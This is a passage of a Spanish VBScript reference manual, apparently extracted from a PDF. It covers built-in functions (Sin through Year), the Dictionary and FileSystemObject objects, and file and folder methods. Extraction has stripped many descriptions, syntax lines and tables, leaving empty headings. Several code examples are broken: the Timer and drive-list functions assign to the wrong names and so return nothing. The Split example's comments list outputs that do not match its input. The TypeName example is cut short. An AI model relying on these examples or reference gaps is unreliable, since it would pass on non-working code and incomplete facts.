Igual a cero 0
Comentarios
By KarlosVid(ÊÇ) www.idat.byethost14.com 59
El signo del argumento número determina el valor devuelto de la función Sgn.
Función
Función Sin
Descripción
Sintaxis
Sin(número)
El argumento número puede ser cualquier expresión numérica válida que exprese un ángulo en radianes.
Comentarios
La función Sin recibe un ángulo y devuelve el radio o proporción de dos lados de un triángulo rectángulo.
El radio o proporción es la longitud del lado opuesto al ángulo dividido por la longitud de la hipotenusa. El
resultado está dentro del intervalo desde -1 hasta 1.
Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados,
multiplique los radianes por 180/pi.
Función Space
Descripción
Sintaxis
Space(número)
Comentarios
El siguiente ejemplo usa la función Space para devolver una cadena que consta de un número de
espacios especificado:
Dim MiCadena
MiCadena = Space(10) ' Devuelve una cadena con 10 espacios.
MiCadena = "Hola" & Space(10) & "mundo" ' Inserta 10 espacios entre las dos cadenas.
By KarlosVid(ÊÇ) www.idat.byethost14.com 60
Función Split
Descripción
Devuelve una matriz unidimensional, basada en cero, que contiene un número especificado de
subcadenas.
Sintaxis
Parte Descripción
expresión Requerido. Expresión de cadena que contiene las subcadenas y delimitadores. Si expresión es una
cadena de longitud cero, Split devuelve una matriz vacía, es decir, una matriz sin elementos ni datos.
delimitador Opcional. Carácter de cadena que se usa para identificar los límites de las subcadenas. Si se omite, se
asume que el carácter delimitador es el carácter de espacio (" "). Si delimitador es una cadena de
longitud cero, se devuelve una matriz de un solo elemento que contiene toda la expresión.
cuenta Opcional. número de subcadenas que se va a devolver; -1 indica que se devuelven todas las
subcadenas.
comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar las
subcadenas. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores
Comentarios
El siguiente ejemplo usa la función Split para devolver una matriz a partir de una cadena. La función
realiza una comparación de texto del delimitador y devuelve todas las subcadenas.
Dim MiCadena, MiMatriz
MiCadena = Split("VBScriptXisXfun!", "x", -1, 1)
' MiCadena(0) contiene "VBScript".
' MiCadena(1) contiene "es".
' MiCadena(2) contiene "divertido".
Función Sqr
Descripción
Sintaxis
Sqr(número)
By KarlosVid(ÊÇ) www.idat.byethost14.com 61
El argumento número puede ser cualquier expresión numérica válida mayor o igual a 0.
Comentarios
El siguiente ejemplo usa la función Sqr para calcular la raíz cuadrada de un número:
Dim MyRaiz
MyRaiz = Sqr(4) ' Devuelve 2.
MyRaiz = Sqr(23) ' Devuelve 4.79583152331272.
MyRaiz = Sqr(0) ' Devuelve 0.
MyRaiz = Sqr(-4) ' Genera un error en tiempo de ejecución.
Función StrComp
Descripción
Sintaxis
Parte Descripción
comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar cadenas. Si
se omite, se realiza una comparación binaria. Consulte la sección Valores para saber cuáles son los
valores permitidos.
Valores
Valores devueltos
Comentarios
El siguiente ejemplo usa la función StrComp para devolver los resultados de una comparación de
cadenas. Si el tercer argumento es igual a 1, se realiza una comparación de texto; si el tercer argumento
es igual a 0 o si se omite, se realiza una comparación binaria.
By KarlosVid(ÊÇ) www.idat.byethost14.com 62
Dim MiCad1, MiCad2, MiComp
MiCad1 = "ABCD": MiCad2 = "abcd" ' Define las variables.
MiComp = StrComp(MiCad1, MiCad2, 1) ' Devuelve 0.
MiComp = StrComp(MiCad1, MiCad2, 0) ' Devuelve -1.
MiComp = StrComp(MiCad2, MiCad1) ' Devuelve 1.
Función String
Descripción
Sintaxis
String(número, carácter)
Parte Descripción
carácter Código de carácter que especifica el carácter o expresión de cadena cuyo primer carácter se usa para
generar la cadena devuelta. Si carácter contiene Null, se devuelve Null.
Comentarios
Si especifica un número para carácter mayor que 255, String convierte el número en un código de
carácter válido con la fórmula:
carácter Mod 256
El siguiente ejemplo usa la función String para devolver cadenas de caracteres repetidos de la longitud
especificada:
Dim MiCadena
MiCadena = String(5, "*") ' Devuelve "*****".
MiCadena = String(5, 42) ' Devuelve "*****".
MiCadena = String(10, "ABC") ' Devuelve "AAAAAAAAAA".
Función StrReverse
Descripción
Devuelve una cadena en la que se invierte el orden de los caracteres de una cadena especificada.
Sintaxis
StrReverse(cadena1)
El argumento cadena1 es la cadena cuyos caracteres se van a invertir. Si cadena1 es una cadena de
longitud cero (""), se devuelve una cadena de longitud cero. Si cadena1 es Null, se produce un error.
Comentarios
El siguiente ejemplo usa la función StrReverse para devolver una cadena en orden inverso:
Dim MiCad
MiCad = StrReverse("VBScript") ' MiCad contiene "tpircSBV".
By KarlosVid(ÊÇ) www.idat.byethost14.com 63
Función Tan
Descripción
Sintaxis
Tan(número)
El argumento número puede ser cualquier expresión numérica válida que exprese un ángulo en radianes.
Comentarios
Tan recibe un ángulo y devuelve el radio o proporción de dos lados de un triángulo rectángulo. El radio o
proporción es la longitud del lado opuesto al ángulo dividido por la longitud del lado adyacente al ángulo.
Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados,
multiplique los radianes por 180/pi.
Función Time
Descripción
Devuelve un valor Variant del subtipo Date que indica la hora actual del sistema.
Sintaxis
Time
Comentarios
El siguiente ejemplo usa la función Time para devolver la hora actual del sistema:
Dim MiHoraCompleta
MiHoraCompleta = Time ' Devuelve la hora actual del sistema.
Función Timer
Descripción
Devuelve el número de segundos que transcurrieron desde las 12:00 a.m. (medianoche).
Sintaxis
Timer
Observaciones
By KarlosVid(ÊÇ) www.idat.byethost14.com 64
El ejemplo siguiente utiliza la función Timer para determinar el tiempo que lleva iterar un bucle
For...Next N veces:
Function TiempoBucle(N)
Dim StartTime, EndTime
StartTime = Timer
For I = 1 To N
Next
EndTime = Timer
TimeIt = EndTime - StartTime
End Function
Función TimeSerial
Descripción
Devuelve un valor Variant del subtipo Date que contiene la hora para una hora, minuto y segundo
específicos.
Sintaxis
Parte Descripción
hora Número entre 0 (12:00 a.m.) y 23 (11:00 p.m.), ambos inluidos, o una expresión numérica.
Comentarios
Para especificar una hora, como 11:59:59, el intervalo de números para cada argumento TimeSerial
debería estar dentro del intervalo aceptado para la unidad; es decir, entre 0 y 23 para las horas y entre 0
y 59 para los minutos y segundos. Sin embargo, también puede especificar horas ralativas para cada
argumento, mediante el uso de cualquier expresión numérica que represente algún número de horas,
minutos o segundos antes o después de una hora determinada.
Los siguientes ejemplos usan expresiones en lugar de números de hora absolutos. La función TimeSerial
devuelve una hora para 15 minutos antes (-15) de seis horas antes del mediodía (12 - 6) o 5:45:00 a.m.
Dim MyTime1
MyTime1 = TimeSerial(12 - 6, -15, 0) ' Devuelve 5:45:00 a.m.
Cuando cualquier argumento excede el intervalo aceptado para ese argumento, se incrementa hasta la
siguiente unidad mayor según sea adecuado. Por ejemplo, si especifica 75 minutos, se evalúa como una
hora y 15 minutos. Sin embargo, si cualquier argumento está fuera del intervalo entre -32768 y 32767 o
si la hora especificada por los tres argumentos, directamente o a través de una expresión, hace que la
fecha exceda el intervalo de fechas permitido, se produce un error.
Función TimeValue
Descripción
Sintaxis
By KarlosVid(ÊÇ) www.idat.byethost14.com 65
TimeValue(hora)
Normalmente, el argumento hora es una expresión de cadena que representa una hora desde 0:00:00
(12:00:00 a.m.) hasta 23:59:59 (11:59:59 p.m.), ambas incluidas. Sin embargo, hora también puede ser
cualquier expresión que represente una hora en ese intervalo. Si hora contiene Null, se devuelve Null.
Comentarios
Puede escribir horas válidas mediante el uso del reloj de 12 horas o de 24 horas. Por ejemplo, "2:24p.m."
y "14:24" son argumentos hora válidos. Si el argumento hora contiene información de fecha, TimeValue
no devuelve la información de fecha. Sin embargo, si hora incluye información de fecha no válida, se
produce un error.
El siguiente ejemplo usa la función TimeValue para convertir una cadena en hora. También puede usar
literales de fecha para asignar una hora directamente a una variable Variant (por ejemplo,
MiHoraCompleta = #4:35:17 p.m.#).
Dim MiHoraCompleta
MiHoraCompleta = TimeValue("4:35:17 p.m.") ' MiHoraCompleta contiene 4:35:17 p.m.
Función TypeName
Descripción
Devuelve una cadena que proporciona información de subtipo Variant acerca de una variable.
Sintaxis
TypeName(nombredevariable)
Valores devueltos
Empty No iniciado
By KarlosVid(ÊÇ) www.idat.byethost14.com 66
Unknown Tipo de objeto desconocido
Nothing Variable de objeto que aún no hace referencia a una instancia de un objeto
Error Error
Comentarios
El siguiente ejemplo usa la función TypeName para devolver información acerca de una variable:
Dim ArrayVar(4), MiTipo
NullVar = Null ' Asigna un valor Null.
Función UBound
Descripción
Sintaxis
UBound(nombredematriz[, dimensión])
Parte Descripción
nombredematriz Requerido. nombre de la variable de matriz que cumple con el estándar de asignación de nombres
de variables.
dimensión Opcional. Número entero que indica para qué dimensión se va a devolver el límite superior. Use
1 para la primera dimensión, 2 para la segunda y así sucesivamente. Si se omite dimensión, se
asume que es igual a 1.
Comentarios
La función UBound se usa con la función LBound para determinar el tamaño de una matriz. Use la
función LBound para buscar el límite inferior de una dimensión de una matriz.
El límite inferior de cualquier dimensión siempre es igual a 0. Como resultado, UBound devuelve los
siguientes valores para una matriz con estas dimensiones:
Dim A(100,3,4)
Instrucción Valor devuelto
UBound(A, 1) 100
UBound(A, 2) 3
UBound(A, 3) 4
Función UCase
By KarlosVid(ÊÇ) www.idat.byethost14.com 67
Descripción
Sintaxis
UCase(cadena)
El argumento cadena es cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.
Comentarios
Sólo se convierten en mayúsculas las letras minúsculas; todas las letras mayúsculas y caracteres que no
son letras no cambian.
El siguiente ejemplo usa la función UCase para devolver una versión en mayúsculas de una cadena:
Dim MiPalabra
MiPalabra = UCase("Hola mundo") ' Devuelve "HOLA MUNDO".
Función VarType
Descripción
Sintaxis
VarType(nombredevariable)
Valores devueltos
vbInteger 2 Entero
vbCurrency 6 Moneda
vbDate 7 Fecha
vbString 8 Cadena
vbError 10 Error
vbVariant 12 Valor de tipo Variant (sólo se usa con matrices de valores de tipo Variant)
By KarlosVid(ÊÇ) www.idat.byethost14.com 68
vbDataObject 13 Un objeto de acceso a datos
Nota Estas constantes las especifica VBScript. Como resultado, los nombres se pueden usar en
cualquier parte del código en lugar de los valores reales.
Comentarios
La función VarType nunca devuelve el valor Array. Siempre se agrega a algún otro valor para indicar que
es una matriz de un tipo determinado. El valor Variant sólo se devuelve cuando se agregó al valor Array
para indicar que el argumento de la función VarType es una matriz. Por ejemplo, el valor devuelto para
una matriz de enteros se calcula como 2 + 8192 u 8194. Si un objeto tiene una propiedad
predeterminada, VarType (objeto) devuelve el tipo de su propiedad predeterminada.
El siguiente ejemplo usa la función VarType para determinar el subtipo de una variable.
Dim MiComprobacion
MiComprobacion = VarType(300) ' Devuelve 2.
MiComprobacion = VarType(#10/19/62#) ' Devuelve 7.
MiComprobacion = VarType("VBScript") ' Devuelve 8.
Función Weekday
Descripción
Sintaxis
Weekday(fecha, [primerdíasemana])
Parte Descripción
fecha Cualquier expresión que pueda representar una fecha. Si fecha contiene Null, se devuelve Null.
primerdíasemana Una constante que especifica el primer día de la semana. Si se omite, se asume vbSunday.
Valores
vbSunday 1 Domingo
vbMonday 2 Lunes
vbTuesday 3 Martes
vbWednesday 4 Miércoles
vbThursday 5 Jueves
vbFriday 6 Viernes
By KarlosVid(ÊÇ) www.idat.byethost14.com 69
vbSaturday 7 Sábado
Valores devueltos
vbSunday 1 Domingo
vbMonday 2 Lunes
vbTuesday 3 Martes
vbWednesday 4 Miércoles
vbThursday 5 Jueves
vbFriday 6 Viernes
vbSaturday 7 Sábado
Comentarios
El siguiente ejemplo usa la función Weekday para obtener el día de la semana de una fecha especificada:
Dim MiFecha, MiDiaDeLaSemana
MiFecha = #19 de octubre de 1962# ' Asigna una fecha.
MiDiaDeLaSemana = Weekday(MiFecha) ' MiDiaDeLaSemana contiene 6 porque
' MiFecha representa un viernes.
Función WeekdayName
Descripción
Sintaxis
Parte Descripción
díasemana Requerido. La designación numérica para el día de la semana. El valor numérico de cada día
depende de la configuración del valor primerdíasemana.
abreviar Opcional. Valor de tipo Boolean que indica si el nombre del día de la semana se debe abreviar.
Si se omite, el valor predeterminado es False, que significa que el nombre del día de la semana
no se abrevia.
primerdíasemana Opcional. Valor numérico que indica el primer día de la semana. Consulte la sección Valores
para saber cuáles son los valores permitidos.
Valores
By KarlosVid(ÊÇ) www.idat.byethost14.com 70
vbMonday 2 Lunes
vbTuesday 3 Martes
vbWednesday 4 Miércoles
vbThursday 5 Jueves
vbFriday 6 Viernes
vbSaturday 7 Sábado
Comentarios
Función Year
Descripción
Sintaxis
Year(fecha)
El argumento fecha es cualquier expresión que pueda representar una fecha. Si fecha contiene Null, se
devuelve Null.
Comentarios
El siguiente ejemplo usa la función Year para obtener el año a partir de una fecha especificada:
Dim MiFecha, MiAno
MiFecha = #19 de octubre de 1962# ' Asigna una fecha.
MiAno = Year(MiFecha) ' MiAno contiene 1962.
OBJETOS
Objeto Dictionary
Descripción
Comentarios
Un objeto Dictionary es el equivalente a una matriz asociativa de PERL. Los elementos, que pueden ser
cualquier forma de datos, se almacenan en la matriz. Cada elemento está asociado con una clave única.
La clave se usa para recuperar un elemento individual y, normalmente, es un entero o una cadena, pero
puede ser cualquier tipo de datos excepto una matriz.
By KarlosVid(ÊÇ) www.idat.byethost14.com 71
El siguiente código muestra cómo crear un objeto Dictionary:
Objeto Drive
Descripción
Proporciona acceso a las propiedades de una unidad de disco o recurso de red compartido específico.
Comentarios
El siguiente código muestra el uso del objeto Drive para tener acceso a las propiedades de una unidad:
Function MostrarEspacioLibre(unidadRuta)
Dim fso, d, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(unidadRuta))
s = "Unidad " & UCase(unidadRuta) & " - "
s = s & d.VolumeName & "<BR>"
s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0)
s = s & " Kbytes"
MostrarEspacioLibre = s
End Function
Colección Drives
Descripción
Comentarios
Las unidades de discos removibles no necesitan tener insertado un disco para que aparezcan en la
colección Drives.
El código siguiente muestra cómo obtener la colección Drives y cómo iterar a través de la colección con
la instrucción For Each...Next:
Function MostrarListaDeUnidades
Dim fso, d, dc, s, n
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d in dc n = ""
s = s & d.DriveLetter & " - "
If d.DriveType = Remote Then
n = d.ShareName
ElseIf d.IsReady Then
n = d.VolumeName
End If
s = s & n & "<BR>"
Next
ShowDriveList = s
End Function
By KarlosVid(ÊÇ) www.idat.byethost14.com 72
Objeto File
Descripción
Comentarios
El siguiente código muestra cómo obtener un objeto File y cómo ver una de sus propiedades.
Function MostrarFechaCreacion(especificaciondearchivo)
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFile(especificaciondearchivo)
MostrarFechaCreacion = f.DateCreated
End Function
Colección Files
Descripción
Comentarios
El código siguiente muestra cómo obtener la colección Files y cómo iterar a través de la colección con la
instrucción For Each...Next:
Function MostrarListaDeCarpetas(especificaciondecarpeta)
Dim fso, f, f1, fc, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(especificaciondecarpeta)
Set fc = f.Files
For Each f1 in fc
s = s & f1.name
s = s & "<BR>"
Next
MostrarListaDeCarpetas = s
End Function
Objeto FileSystemObject
Descripción
Comentarios
El siguiente código muestra cómo se usa FileSystemObject para devolver un objeto TextStream del
que se puede leer o en el que se puede escribir:
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile("c:\archprue.txt", True)
MyFile.WriteLine("Esto es una prueba.")
MyFile.Close
En el código anteror, la función CreateObject devuelve FileSystemObject (fso). El método
CreateTextFile crea el archivo como un objeto TextStream (a) y el método WriteLine escribe una línea
de texto en el archivo de texto creado. El método Close vacía el búfer y cierra el archivo.
By KarlosVid(ÊÇ) www.idat.byethost14.com 73
Objeto Folder
Descripción
Comentarios
El siguiente código muestra cómo obtener un objeto Folder y cómo devolver una de sus propiedades:
Function MostrarFechaCreacion(especificaciondecarpeta)
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(especificaciondecarpeta)
MostrarFechaCreacion = f.DateCreated
End Function
Colección Folders
Descripción
Comentarios
El código siguiente muestra cómo obtener la colección Folders y cómo iterar a través de la colección con
la instrucción For Each...Next:
Function MostrarListaDeCarpetas(especificaciondecarpeta)
Dim fso, f, f1, fc, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(especificaciondecarpeta)
Set fc = f.SubFolders
For Each f1 in fc
s = s & f1.name
s = s & "<BR>"
Next
MostrarListaDeCarpetas = s
End Function
Objeto TextStream
Descripción
Comentarios
By KarlosVid(ÊÇ) www.idat.byethost14.com 74
MÉTODOS
Sintaxis
Parte Descripción
Comentarios
Sintaxis
objeto.Add(nombredecarpeta)
Parte Descripción
Comentarios
By KarlosVid(ÊÇ) www.idat.byethost14.com 75
En el siguiente ejemplo se muestra el uso del método Add para agregar una nueva carpeta:
Sub AgregarNuevaCarpeta(ruta, nombredecarpeta)
Dim fso, f, fc, nf
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(ruta)
Set fc = f.SubFolders
If nombredecarpeta <> "" Then
Set nf = fc.Add(nombredecarpeta)
Else
Set nf = fc.Add("Nueva carpeta")
End If
End Sub
Se producirá un error si nombredecarpeta ya existe.
Método BuildPath
Descripción
Sintaxis
objeto.BuildPath(ruta, nombre)
Parte Descripción
ruta Requerido. Ruta existente a la que se va a anexar name. Esta ruta puede ser absoluta o relativa, y no es
necesario que especifique una carpeta existente.
Comentarios
El método BuildPath inserta un separador de ruta adicional entre la ruta existente y el nombre, en caso
de que sea necesario.
Function ObtenerRutaDeBuild(ruta)
Dim fso, nuevaruta
Set fso = CreateObject("Scripting.FileSystemObject")
nuevaruta = fso.BuildPath(ruta, "Subcarpeta")
ObtenerRutaDeBuild = nuevaruta
End Function
Método Close
Descripción
Sintaxis
objeto.Close
By KarlosVid(ÊÇ) www.idat.byethost14.com 76
El objeto siempre es el nombre de un objeto TextStream.
Comentarios
En el siguiente ejemplo se muestra el uso del método Close para cerrar un archivo TextStream abierto:
Sub CrearUnArchivo
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile("c:\archivodeprueba.txt", True)
MyFile.WriteLine("Esto es una prueba.")
MyFile.Close
End Sub
Método Copy
Descripción
Sintaxis
Parte Descripción
destino Requerido. Destino al que se va a copiar el archivo o la carpeta. No se admiten caracteres comodín.
sobrescribir Opcional. Valor de tipo Boolean que es True (predeterminado) si se van a sobrescribir los archivos o
carpetas existentes; es False en caso contrario.
Comentarios
Los resultados del método Copy en un objeto File o Folder son idénticos a las operaciones realizadas al
usar FileSystemObject.CopyFile o FileSystemObject.CopyFolder, donde se pasa como argumento el
archivo o la carpeta al que hace referencia el objeto. Sin embargo, debe tener en cuenta que los métodos
alternativos pueden copiar varios archivos o carpetas.
Método CopyFile
Descripción
Sintaxis
By KarlosVid(ÊÇ) www.idat.byethost14.com 77
objeto.CopyFile origen, destino[, sobrescribir]
Parte Descripción
origen Requerido. Especificación de archivos de cadenas de caracteres, que puede incluir caracteres
comodín, para uno o más archivos que se van a copiar.
destino Requerido. Destino de cadena de caracteres donde se van a copiar el archivo o archivos desde origen.
No se admiten caracteres comodín.
sobrescribir Opcional. Valor de tipo Boolean que indica si se van a sobrescribir los archivos existentes. Si es
True, los archivos se sobrescribirán; si es False, no se sobrescribirán. El valor predeterminado es
True. Tenga en cuenta que CopyFile fallará si el destino tiene el atributo de sólo lectura,
independientemente del valor de sobrescribir.
Comentarios
Sólo se puede usar caracteres comodín en el último componente de la ruta del argumento origen. Por
ejemplo, puede usar:
FileSystemObject.CopyFile "c:\misdocumentos\cartas\*.doc", "c:\carpetatemporal\"
Pero no puede utilizar:
FileSystemObject.CopyFile "c:\misdocumentos\*\R1???97.xls", "c:\carpetatemporal"
Si el origen contiene caracteres comodín o el destino termina con un separador de ruta (\), se supone que
el destino es una carpeta existente en la que se van a copiar los archivos que coincidan. En caso
contrario, se supone que el destino es el nombre de un archivo que se va a crear. En cualquier caso, se
pueden dar tres situaciones al copiar un archivo individual.
También se produce un error si un origen que usa caracteres comodín no coincide con ningún archivo. El
método CopyFile se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio
realizado antes de que se produjera un error.
Método CopyFolder
Descripción
Sintaxis
Parte Descripción
origen Requerido. Especificación de carpetas de cadenas de caracteres, que puede incluir caracteres comodín,
para una o más carpetas que se van a copiar.
destino Requerido. Destino de cadena de caracteres donde se van a copiar la carpeta o carpetas desde el
origen. No se admiten caracteres comodín.
By KarlosVid(ÊÇ) www.idat.byethost14.com 78
sobrescibir Opcional. Valor de tipo Boolean que indica si se van a sobrescribir las carpetas existentes. Si es True,
las carpetas se sobrescribirán; si es False, no se sobrescribirán. El valor predeterminado es True.
Comentarios
Sólo se puede usar caracteres comodín en el último componente de la ruta del argumento origen. Por
ejemplo, puede usar:
FileSystemObject.CopyFolder "c:\misdocumentos\cartas\*", "c:\carpetatemporal\"
Pero no puede utilizar:
FileSystemObject.CopyFolder "c:\misdocumentos\*\*", "c:\carpetatemporal\"
Si el origen contiene caracteres comodín o el destino termina con un separador de ruta (\), se supone que
el destino es una carpeta existente en la que se van a copiar las carpetas y subcarpetas que coincidan. En
caso contrario, se supone que el destino es el nombre de un archivo que se va a crear. En cualquier caso,
se pueden dar cuatro situaciones al copiar una carpeta individual.
• Si no existe el destino, se copiará la carpeta origen y todo su contenido. Es el caso más habitual.
• Si el destino es un archivo existente, se producirá un error .
• Si el destino es un directorio, se intentará copiar la carpeta y todo su contenido. Si un archivo
contenido en el origen ya existe en el destino, se producirá un error si sobrescribir es False. En
caso cotrario, intentará copiar el archivo sobre el archivo existente.
• Si el destino es un directorio de sólo lectura, se producirá un error si se intenta copiar a dicho
directorio un archivo de sólo lectura existente y sobrescribir es False.
También se produce un error si un origen que usa caracteres comodín no coincide con ninguna carpeta.
El método CopyFolder se detiene en el primer error que encuentra. No se intenta deshacer ningún
cambio realizado antes de que se produjera un error.
Método CreateFolder
Descripción
Sintaxis
objeto.CreateFolder(nombredecarpeta)
Parte Descripción
Comentarios
Function EjemploDeCreateFolder
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateFolder("c:\Nueva carpeta")
EjemploDeCreateFolder = f.Path
End Function
By KarlosVid(ÊÇ) www.idat.byethost14.com 79
Método CreateTextFile
Descripción
Crea el nombre de archivo especificado y devuelve un objeto TextStream que se puede usar para leer o
escribir en el archivo.
Sintaxis
Parte Descripción
sobrescribir Opcional. Valor de tipo Boolean que indica si se puede sobrescribir un archivo existente. El
valor es True si el archivo se puede sobrescribir; es False en caso contrario. Si no se especifica,
no se sobrescribirán los archivos existentes.
unicode Opcional. Valor de tipo Boolean que indica si el archivo se va a crear como archivo Unicode o
ASCII. El valor es True si el archivo creado es Unicode; el valor es False si es creado como
archivo ASCII. Si se omite este argumento, se crea un archivo ASCII de forma predeterminada.
Comentarios
En el siguiente código se muestra cómo usar el método CreateTextFile para crear y abrir un archivo de
texto:
Sub CrearUnArchivo
Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile("c:\archprueb.txt", True)
MyFile.WriteLine("Esto es una prueba.")
MyFile.Close
End Sub
Se producirá un error si el argumento sobrescribir es False, o si no se especifica, para un
nombredearchivo que ya existe.
Método Delete
Descripción
Sintaxis
objeto.Delete forzar
Parte Descripción
forzar Opcional. Valor de tipo Boolean que es True si se desea eliminar archivos o carpetas que tienen atributo de
sólo lectura; el valor predeterminado es False si no se van a eliminar.
By KarlosVid(ÊÇ) www.idat.byethost14.com 80
Comentarios
Se produce un error si no existe el archivo o carpeta especificados. El método Delete no diferencia las
carpetas que tienen contenido y las que no tienen. La carpeta especificada se eliminará
independientemente de si tiene o no tiene contenido.
Los resultados del método Delete en un objeto File o Folder son idénticos a las operaciones realizadas al
usar FileSystemObject.DeleteFile o FileSystemObject.DeleteFolder.
Método DeleteFile
Descripción
Sintaxis
Parte Descripción
forzar Opcional. Valor de tipo Boolean que es igual a True si se deben eliminar los archivos
con el atributo de sólo lectura establecido; y es igual a False (predeterminado) en caso
contrario.
Comentarios
Sub DeleteAFile(especificaciondearchivo)
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile(especificaciondearchivo)
End Sub
Método DeleteFolder
Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 81
Elimina la carpeta especificada y su contenido.
Sintaxis
Parte Descripción
forzar Opcional. Valor de tipo Boolean que es True si se desea eliminar carpetas que tienen
atributo de sólo lectura; el valor predeterminado es False si no se van a eliminar.
Comentarios
El método DeleteFolderno diferencia las carpetas que tienen contenido y las que no tienen. La carpeta
especificada se eliminará independientemente de si tiene o no tiene contenido.
Sub EliminarUnaCarpeta(especificaciondearchivo)
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder(especificaciondearchivo)
End Sub
Método DriveExists
Descripción
Sintaxis
objeto.DriveExists(especificacióndeunidad)
Parte Descripción
Comentarios
Para unidades con discos removibles, el método DriveExists devuelve True aunque no esté ningún disco
insertado. Use la propiedad IsReady del objeto Drive para determinar si una unidad está lista.
By KarlosVid(ÊÇ) www.idat.byethost14.com 82
En el siguiente ejemplo se muestra el uso del método DriveExists:
Function EstadoDeUnidad(unidad)
Dim fso, mensaje
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.DriveExists(unidad) Then
mensaje = ("La unidad " & UCase(unidad) & " existe.")
Else
mensaje = ("La unidad " & UCase(unidad) & " no existe.")
End If
EstadoDeUnidad = mensaje
End Function
Método Exists
Descripción
Devuelve True si una clave especificada existe en el objeto Dictionary; devuelve False en caso
contrario.
Sintaxis
objeto.Exists(clave)
Parte Descripción
Comentarios
Método FileExists
Descripción
Sintaxis
objeto.FileExists(especificacióndearchivo)
By KarlosVid(ÊÇ) www.idat.byethost14.com 83
La sintaxis del método FileExists tiene las siguientes partes:
Parte Descripción
Comentarios
Método FolderExists
Descripción
Devuelve True si existe una carpeta especificada; en caso contrario, devuelve False.
Sintaxis
objeto.FolderExists(especificacióndecarpeta)
Parte Descripción
Comentarios
Método
Método GetAbsolutePathName
By KarlosVid(ÊÇ) www.idat.byethost14.com 84
Descripción
Devuelve una ruta completa y unívoca a partir de una especificación de ruta proporcionada.
Sintaxis
objeto.GetAbsolutePathName(especificaciónderuta)
Parte Descripción
especificaciónderuta Requerido. Especificación de ruta que se va a cambiar a una ruta completa y unívoca.
Comentarios
Una ruta es completa y unívoca si proporciona una referencia completa desde la raíz de la unidad
especificada. Una ruta completa sólo puede finalizar con un carácter separador de rutas (\) si especifica la
carpeta raíz de una unidad asignada.
"c:" "c:\misdocumentos\informes"
"c:.." "c:\misdocumentos"
"c:\\\" "c:\"
"c:*.*\mayo97" "c:\misdocumentos\informes\*.*\mayo97"
"región1" "c:\misdocumentos\informes\región1"
"c:\..\..\misdocumentos" "c:\misdocumentos"
Método GetBaseName
Descripción
Devuelve una cadena que contiene el nombre base del archivo (menos la extensión de archivo) o carpeta
de una especificación de ruta proporcionada.
Sintaxis
objeto.GetBaseName(ruta)
Parte Descripción
ruta Requerido. La especificación de ruta del archivo o carpeta cuyo nombre base se va a devolver.
Comentarios
By KarlosVid(ÊÇ) www.idat.byethost14.com 85
El método GetBaseName devuelve una cadena de longitud cero ("") si ningún archivo o carpeta coincide
con el argumento ruta.
Function ObtenerBase(especificaciondearchivo)
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
ObtenerBase = fso.GetBaseName(especificaciondearchivo)
End Function
Nota El método GetBaseName sólo funciona en la cadena ruta proporcionada. No intenta resolver la
ruta ni verifica la existencia de la ruta especificada.
Método GetDrive
Descripción
Sintaxis
objeto.GetDrive especificacióndeunidad
Parte Descripción
especificacióndeunidad Requerido. El argumento especificacióndeunidad puede ser una letra de unidad (c), una
letra de unidad seguida de dos puntos (c:), una letra de unidad seguida de dos puntos y de
un separador de rutas (c:\) o cualquier especificación de recurso compartido de red
(\\equipo2\recurso1).
Comentarios
EspecificaciondeUnidad = GetDriveName(GetAbsolutePathName(ruta))
En el siguiente ejemplo se muestra el uso del método GetDrive:
Function MostrarEspacioLibre(unidadRuta)
Dim fso, d, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(unidadRuta))
s = "Unidad " & UCase(unidadRuta) & " - "
s = s & d.VolumeName & "<BR>"
s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0)
s = s & " Kbytes"
MostrarEspacioLibre = s
End Function
Método GetDriveName
By KarlosVid(ÊÇ) www.idat.byethost14.com 86
Descripción
Devuelve una cadena que contiene el nombre de la unidad para una ruta especificada.
Sintaxis
objeto.GetDriveName(ruta)
Parte Descripción
ruta Requerido. La especificación de ruta para el componente cuyo nombre de unidad se va a devolver.
Comentarios
El método GetDriveName devuelve una cadena de longitud cero ("") si no se puede determinar la
unidad.
Function ObtenerUnNombre(EspecificacionDeUnidad)
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
ObtenerUnNombre = fso.GetDriveName(EspecificacionDeUnidad)
End Function
Nota El método GetDriveName sólo funciona en la cadena ruta proporcionada. No intenta resolver la
ruta ni verifica la existencia de la ruta especificada.
Método GetExtensionName
Descripción
Devuelve una cadena que contiene el nombre de extensión para el último componente de la ruta.
Sintaxis
objeto.GetExtensionName(ruta)
Parte Descripción
ruta Requerido. La especificación de ruta para el componente cuyo nombre de extensión se va a devolver.
Comentarios
El método GetExtensionName devuelve una cadena de longitud cero ("") si ningún componente coincide
con el argumento ruta.
By KarlosVid(ÊÇ) www.idat.byethost14.com 87
